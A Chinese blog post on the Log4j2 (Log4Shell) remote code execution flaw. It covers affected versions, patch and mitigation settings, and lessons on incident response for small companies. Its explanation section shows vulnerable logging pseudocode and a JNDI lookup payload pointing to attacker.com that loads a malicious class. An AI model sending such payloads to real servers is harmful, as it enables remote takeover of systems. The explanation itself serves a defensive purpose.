Log4j史詩(shī)級(jí)漏洞,我們這些小公司能做些什么?
事件背景
12月10日,看到朋友圈中已經(jīng)有人在通宵修改、上線系統(tǒng)了。隨即,又看到阿里云安全、騰訊安全部門發(fā)出的官方報(bào)告:”Apache Log4j2存在遠(yuǎn)程代碼執(zhí)行漏洞“,且漏洞已對(duì)外公開。
看到相關(guān)消息,馬上爬起來(lái)把所有項(xiàng)目的日志系統(tǒng)過(guò)濾一遍,還好老項(xiàng)目采用的log4j,新項(xiàng)目采用的logback,沒(méi)有中招。隨后就看到朋友圈鋪天蓋地的相關(guān)消息。
作為一個(gè)史詩(shī)級(jí)的事件,緊急修改漏洞是必然的。作為程序員,如果看到這則消息,連去核查一下系統(tǒng)都做不到,那真的不是一個(gè)合格的程序員。
經(jīng)歷過(guò)這次事件,不僅是看熱鬧而已,還要思考一下,作為小公司如何避免、提前預(yù)防、做好準(zhǔn)備應(yīng)對(duì)這類Bug。
漏洞描述
Apache Log4j2是一款優(yōu)秀的Java日志框架,與Logback平分秋色,大量主流的開源框架采用了Log4j2,像Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影響。所以,這樣一個(gè)底層框架出現(xiàn)問(wèn)題,影響面可想而知。
漏洞信息:Apache Log4j 2.15.0-rc1 版本存在漏洞繞過(guò),需及時(shí)更新至 Apache Log4j 2.15.0-rc2 版本。
影響范圍:2.0 <= Apache log4j2 <= 2.14.1。
最新修復(fù)版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
補(bǔ)救方案
方案一:升級(jí)版本,發(fā)布系統(tǒng);
方案二:臨時(shí)補(bǔ)救:
- 修改JVM參數(shù),設(shè)置 -Dlog4j2.formatMsgNoLookups=true。
- 在涉及漏洞的項(xiàng)目的類路徑(classpath)下增加log4j2.component.properties配置文件并增加配置項(xiàng)log4j2.formatMsgNoLookups=true。
- 將系統(tǒng)環(huán)境變量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 設(shè)置為 true。
攻擊原理
攻擊偽代碼示例:
- import org.apache.log4j.Logger;
- import java.io.*;
- import java.sql.SQLException;
- import java.util.*;
- public class VulnerableLog4jExampleHandler implements HttpHandler {
- static Logger log = Logger.getLogger(log4jExample.class.getName());
- /**
- * 示例偽代碼:一個(gè)簡(jiǎn)單的HTTP端點(diǎn),其中讀取User Agent信息并進(jìn)行日志記錄;
- */
- public void handle(HttpExchange he) throws IOException {
- // 獲取user-agent信息
- String userAgent = he.getRequestHeader("user-agent");
- // 此行記錄日志的代碼,通過(guò)記錄攻擊者控制的HTTP用戶代理標(biāo)頭來(lái)觸發(fā)RCE。
- // 攻擊者可以設(shè)置他們的User-Agent header到${jndi:ldap://attacker.com/a}
- log.info("Request User Agent:" + userAgent);
- String response = "<h1>Hello There, " + userAgent + "!</h1>";
- he.sendResponseHeaders(200, response.length());
- OutputStream os = he.getResponseBody();
- os.write(response.getBytes());
- os.close();
- }
- }
基于上述代碼的基本攻擊步驟:
- 請(qǐng)求對(duì)應(yīng)的HTTP端點(diǎn)(或接口),在請(qǐng)求信息中攜帶攻擊代碼(比如,在user-agent中攜帶${jndi:ldap://attacker.com/a});
- 服務(wù)器在通過(guò)Log4j2執(zhí)行日志記錄時(shí),記錄中包含了基于JNDI和LDAP的惡意負(fù)載${jndi:ldap://attacker.com/a},其中attacker.com是攻擊者控制的地址。
- 記錄日志操作觸發(fā)向攻擊者控制的地址發(fā)送請(qǐng)求。
- 對(duì)應(yīng)請(qǐng)求返回在響應(yīng)中返回可執(zhí)行的惡意代碼,注入到服務(wù)器進(jìn)程當(dāng)中。比如返回,https://attacker.com/Attack.class 。
- 進(jìn)而執(zhí)行腳本控制服務(wù)器。
騰訊安全專家的復(fù)現(xiàn)如下:
log4j2漏洞復(fù)現(xiàn)
小公司程序員能做些什么?
關(guān)于漏洞及解決方案,上面已經(jīng)詳細(xì)聊了,問(wèn)題基本得以解決。在大的互聯(lián)網(wǎng)企業(yè),是有專門的安全運(yùn)維部門來(lái)監(jiān)控、掃描這些漏洞的。但在小公司,很顯然沒(méi)有這樣的條件。
那么,我們?cè)撛趺崔k?同時(shí),作為事件的經(jīng)歷者,你是否思考過(guò)這個(gè)事件中反映出的一些其他問(wèn)題嗎?
第一,是否第一時(shí)間得到消息?
在大企業(yè),一旦發(fā)現(xiàn)這樣的漏洞,安全部門會(huì)第一時(shí)間進(jìn)行通知。但在小企業(yè),沒(méi)有安全部門,你是如何獲取到漏洞的消息的呢?
比如我所在的企業(yè),是沒(méi)有安全部門的,但也幾乎是第一時(shí)間得知漏洞消息,進(jìn)行系統(tǒng)排查的。
作為程序員,如果漏洞消息已經(jīng)爆出很久,你卻一無(wú)所知,那就應(yīng)該反思一下朋友圈的質(zhì)量以及對(duì)技術(shù)熱點(diǎn)的關(guān)注度問(wèn)題了。
如何獲得圈內(nèi)第一手消息,取決于也反映著你在社交圈或技術(shù)圈所處的位置與現(xiàn)狀。
第二,是否置若罔聞?
很多朋友可能也看到了這則漏洞消息,但也就是看一下熱鬧,然后該干嘛干嘛了,系統(tǒng)有漏洞就有漏洞了唄~
如果你是如此,或你的團(tuán)隊(duì)是如此,你真的需要反省一下職業(yè)素養(yǎng)問(wèn)題了。
很多人可能覺(jué)得自己很牛,覺(jué)得自己懷才不遇,覺(jué)得工資收入低,覺(jué)得被虧待……那么,對(duì)照一下對(duì)這件事所作出的反應(yīng),基本就知道自己是不是被虧待了。
第三,如何應(yīng)對(duì)突發(fā)事件?
這樣的突發(fā)事件,也是對(duì)系統(tǒng)運(yùn)維、團(tuán)隊(duì)管理的一個(gè)考驗(yàn),也是一個(gè)仿真練習(xí):大家都正在進(jìn)行著當(dāng)前業(yè)務(wù)的開發(fā),有一個(gè)突發(fā)Bug要修改,改一半的代碼如何操作?如大面積發(fā)布?
第一,改一半的代碼怎么辦?如果你的團(tuán)隊(duì)的代碼開發(fā)都是基于master(主干)進(jìn)行開發(fā)、提交代碼,針對(duì)這樣的突發(fā)事件,必然會(huì)面對(duì)改了一半的代碼,提交了,想一起發(fā)布但還沒(méi)測(cè)試,這種騎虎難下的局面。
所以,代碼的管理(如何打分支、合并分支、分支與主干代碼不同環(huán)境的發(fā)布)必須得從日常的點(diǎn)滴做起,當(dāng)突發(fā)事件發(fā)生時(shí),也不至于手忙腳亂。
第二,有大量項(xiàng)目需要發(fā)布怎么辦?當(dāng)然,最古老的方式就是一個(gè)系統(tǒng)一個(gè)系統(tǒng)手動(dòng)發(fā)布。如果是微服務(wù)及應(yīng)用較多,不僅容易出現(xiàn)錯(cuò)誤,而且耗時(shí)較長(zhǎng)。這就提醒我們,構(gòu)建自動(dòng)化發(fā)布流程的重要性。
第四,怎么找出系統(tǒng)漏洞?
有安全部門的公司,會(huì)定期掃描系統(tǒng)漏洞,那么沒(méi)有安全部門的公司只能坐以待斃嗎?
其實(shí),還是有一些方法可以發(fā)現(xiàn)系統(tǒng)的一些漏洞的。比如,勤關(guān)注使用框架的版本升級(jí)、利用三方提供的漏洞掃描(比如阿里云服務(wù)器的安全掃描)、與同行交流等手段。
小結(jié)
任何一個(gè)漏洞對(duì)軟件系統(tǒng)來(lái)說(shuō)都有可能是致命的,也需要我們謹(jǐn)慎對(duì)待的。對(duì)于漏洞的處理及做出的反應(yīng)也是從業(yè)者職業(yè)素養(yǎng)的體現(xiàn)。
而如果能從一次次突發(fā)事件中學(xué)習(xí)、思考到更多內(nèi)容,你將比別人更快的成長(zhǎng)。